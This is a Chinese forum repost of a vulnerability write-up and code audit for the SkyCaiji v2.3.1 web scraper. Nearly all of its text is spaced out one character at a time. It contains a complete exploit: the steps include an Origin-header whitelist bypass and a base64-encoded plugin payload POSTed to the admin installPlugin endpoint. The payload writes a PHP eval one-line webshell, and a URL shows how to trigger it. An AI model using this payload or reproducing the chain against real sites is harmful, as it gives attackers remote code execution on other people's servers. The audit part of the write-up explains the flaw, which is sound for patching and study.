搜索

[28354] 2020-06-15_蓝天采集器v2.3.1getshell

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-19
2020-06-15_蓝天采集器v2.3.1getshell 蓝 天 采 集 器 v 2 . 3 . 1   g e t s h e l l 夜 来 风 雨 声   O t s 安 全   2 0 2 0 - 0 6 - 1 5 文 章 转 载 先 知 社 区 文 章 转 载 先 知 社 区   -   作 者 ： 夜 来 风 雨 声 作 者 ： 夜 来 风 雨 声 下 载 下 载 2 . 3 . 1 版 本 版 本 h t t p s : / / g i t h u b . c o m / z o r l a n / s k y c a i j i 漏 洞 复 现 漏 洞 复 现 文 中 s k y 2 3 1 . c o m 为 本 地 设 置 域 名 漏 洞 点 位 于 后 台 安 装 插 件 功 能 处 ， 首 先 登 陆 后 台 1 . 访 问 2 . 添 加 h t t p 头 O r i g i n : 3 . p o s t 输 入 如 图 h t t p : / / x x x x . c o m / i n d e x . p h p ? s = / A d m i n / S t o r e / i n s t a l l P l u g i n h t t p : / / w w w . s k y c a i j i . c o m p l u g i n = e y J h c H A i O i J B Y U F h Q W E i L C J u Y W 1 l I j o i d G V z d D E i L C J 0 e X B l I j o i c m V s Z W F z Z S I s I m 1 v Z H V s Z S I 6 I n R l c 3 Q y I i w i Y 2 9 k Z S I 6 I l B E O X d h S E F L T H l v S 2 J t R n R a W E 5 3 W V d O b E l I Q n N k V 2 R w Y m x 4 e V p X e G x Z W E 5 s W E d O d G N 6 c 0 t D b U 5 z W V h O e k l F R m h R V 0 Z C W V h z S 0 N Y Q j F Z b X h w W X l B a 2 N t V n N a V 0 Z 6 W l R z S 2 Z T b 3 Z D a 0 J s Z G 1 G c 0 t D U m Z S M F Z V V z J G Z E t U c 0 t Q e j Q 9 I n 0 =
接 着 会 在 p l u g i n r e l e a s e c m s 下 生 成 A a A a A a . p h p 的 一 句 话 后 门 ， 如 图 然 后 在 后 台 点 击 发 布 插 件 选 项 卡 ， 接 着 点 击 开 发 按 钮 ， 如 图
这 时 会 引 用 我 们 带 有 一 句 话 木 马 的 文 件 ， 在 u r l 上 添 加 a 参 数 即 可 执 行 任 意 p h p 代 码 ， 进 而 g e t s h e l l ， 以 执 行 p h p i n f o 为 例 ， 访 问 如 图 代 码 审 计 代 码 审 计 漏 洞 出 发 点 位 于 / S k y c a i j i A p p / a d m i n / c o n t r o l l e r / S t o r e . p h p 文 件 中 的 i n s t a l l P l u g i n A c t i o n 函 数 ， 如 图 h t t p : / / s k y 2 3 1 . c o m / i n d e x . p h p ? s = / a d m i n / D e v e l o p / r e l e a s e C m s & a p p = A a A a A a & a = p h p i n f o ( ) ;
首 先 代 码 会 执 行 $ t h i s - > _ c h e c k O r i g i n ( ) ; 函 数 ， 我 们 跟 进 一 下 该 函 数 是 用 来 判 断 请 求 的 来 源 是 否 在 白 名 单 中 ， 注 意 到 这 里 获 取 请 求 来 源 使 用 了 $ _ S E R V E R [ ' H T T P _ O R I G I N ' ] 这 里 我 们 只 要 在 请 求 时 加 上 一 个 O r i g i n 请 求 头 ， 并 将 其 值 改 为 白 名 单 中 的 值 就 可 以 了 ， 我 们 看 一 下 白 名 单 的 值 回 到   i n s t a l l P l u g i n A c t i o n 函 数 ， 接 下 来 函 数 将 传 入 的 p l u g i n 参 数 先 进 行 b a s e 6 4 解 密 在 进 行 j s o n 解 码 ， 接 着 调 用 _ i n s t a l l P l u g i n 函 数 ， 跟 进 该 函 数 ， 如 图 这 里 函 数 先 进 行 了 一 系 列 数 据 判 空 操 作 ， 接 着 下 来 如 果 满 足 $ p l u g i n [ ' t y p e ' ] = = ' r e l e a s e ' 这 个 条 件 将 会 调 用 a d d C m s 函 数 ， 我 们 继 续 跟 进 a d d C m s 函 数 ， 函 数 位 于 文 件 / S k y c a i j i A p p / a d m i n / m o d e l / R e l e a s e A p p . p h p   中 ， 如 图
首 先 函 数 会 判 断 $ c m s [ ' a p p ' ] 是 否 为 空 ， 这 里 无 需 理 会 ， 在 利 用 时 只 要 构 造 一 下 就 好 ， 接 着 代 码 做 了 三 个 正 则 校 验 ， 第 一 个 正 则 来 判 断 $ c m s [ ' a p p ' ] 是 否 符 合 其 命 名 规 范 ， 我 们 可 以 使 其 值 为 A a A a A a 来 绕 过 校 验 ， 第 二 个 正 则 用 来 判 断 函 数 传 入 的 $ c o d e 是 否 存 在 命 名 空 间 ， 这 里 我 们 可 以 参 考 一 下 位 于 / p l u g i n / r e l e a s e / c m s / B a s e C m s . p h p 文 件 中 的 写 法 ， 如 图 接 着 是 第 三 个 正 则 ， 该 处 是 为 了 判 断 类 名 是 否 存 在 ， 要 注 意 的 是 类 名 需 要 与 我 们 设 置 的 $ c m s [ ' a p p ' ] 一 样 ， 这 里 我 们 可 以 这 么 写 c l a s s   A a A a A a { 过 了 三 个 正 则 后 我 们 会 来 到 w r i t e _ d i r _ f i l e 函 数 ， 跟 进 一 下 该 函 数 ， 如 图 该 函 数 用 来 写 文 件 ， 那 么 到 目 前 为 止 我 们 就 可 以 在 网 站 中 写 入 一 个 p h p 文 件 ， 但 是 该 文 件 要 存 在 规 定 好 的 命 名 空 间 和 类 ， 为 了 写 入 我 们 可 以 利 用 的 一 句 话 ， 我 们 可 以 利 用 注 释 符 将 命 名 空 间 和 类 注 视 掉 ， 如 图
接 下 来 就 可 以 构 造 符 合 条 件 得 e x p 了 首 先 将 代 码 b a s e 6 4 编 码 ， 然 后 依 据 上 述 分 析 代 码 中 的 条 件 构 造 符 合 的 j s o n 格 式 的 字 符 串 接 着 把 改 串 j s o n 字 符 串 b a s e 6 4 编 码 一 下 就 可 以 p o s t 过 去 进 行 利 用 了 。 阅 读 原 文 { " a p p " : " A a A a A a " , " n a m e " : " t e s t 1 " , " t y p e " : " r e l e a s e " , " m o d u l e " : " t e s t 2 " , " c o d e " : " P D 9 w a H A K L y o K b m F t Z X N w Y W N l I H B s d W d p b l x y Z W x l Y X N l X G N t c z s K C m N s Y X N z I E F h Q W F B Y X s K C X B 1 Y m x p Y y A k c m V s Z W F z Z T s K f S o v C k B l d m F s K C R f R 0 V U W 2 F d K T s K P z 4 = " }
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理